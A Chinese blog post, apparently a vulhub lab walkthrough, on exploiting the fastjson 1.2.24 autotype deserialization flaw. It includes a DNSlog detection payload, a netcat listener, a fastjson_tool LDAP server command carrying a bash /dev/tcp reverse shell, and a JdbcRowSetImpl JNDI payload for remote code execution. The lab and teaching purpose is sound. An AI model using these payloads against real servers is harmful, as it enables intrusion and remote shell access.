web中间件漏洞之(3)fastjson反序列化漏洞

发布时间 2023-07-08 14:55:03作者: 3rdtsuki

引言

fastjson可以将Java对象序列化为json格式,也可将json反序列化为Java对象。在请求包里面中发送恶意的 json 格式 payload,fastjson在处理 json 对象时使用了autotype机制,允许在反序列化时通过@type指定反序列化的类,调用指定类的set和get方法。攻击者可以通过rmi或ldap服务,将ldap绝对路径注入到JNDI的lookup方法中,构造数据使得进入指定类(恶意类)的set和get方法,如果这些方法中有逻辑漏洞,即可利用其getshell

漏洞探测

启动vulhub的fastjson 1.2.24-rce镜像,服务器地址为http://192.168.10.170:8090/

~/Desktop/vulhub-master/fastjson/1.2.24-rce$ sudo docker-compose up -d

使用dnslog,生成子域名lyc9a3.dnslog.cn,来探测该服务器是否存在解析漏洞

通过burpsuite向服务器发送构造的json POST请求

{
    "a":{
        "@type":"java.net.Inet6Address",
        "val":"lyc9a3.dnslog.cn"
    }
}

image
可以检测到dnslog子域名被解析,说明服务器存在json反序列化导致的解析漏洞
image

使用fastjson_tool生成恶意类来getshell

攻击机192.168.10.129,启动HLDAP服务器8888,并根据反弹shell生成payload,该payload使得反序列化时重定向到恶意类http://192.168.10.129:8888/Object.class

nc -lvvp 7777

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.10.129 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.10.129/7777 0>&1"

image

burp中, 根据第二个payload,在请求后面添加json

{
    "e":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "f":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.10.129:8888/Object",
        "autoCommit":true
    }
}

发送请求,即可getshell
image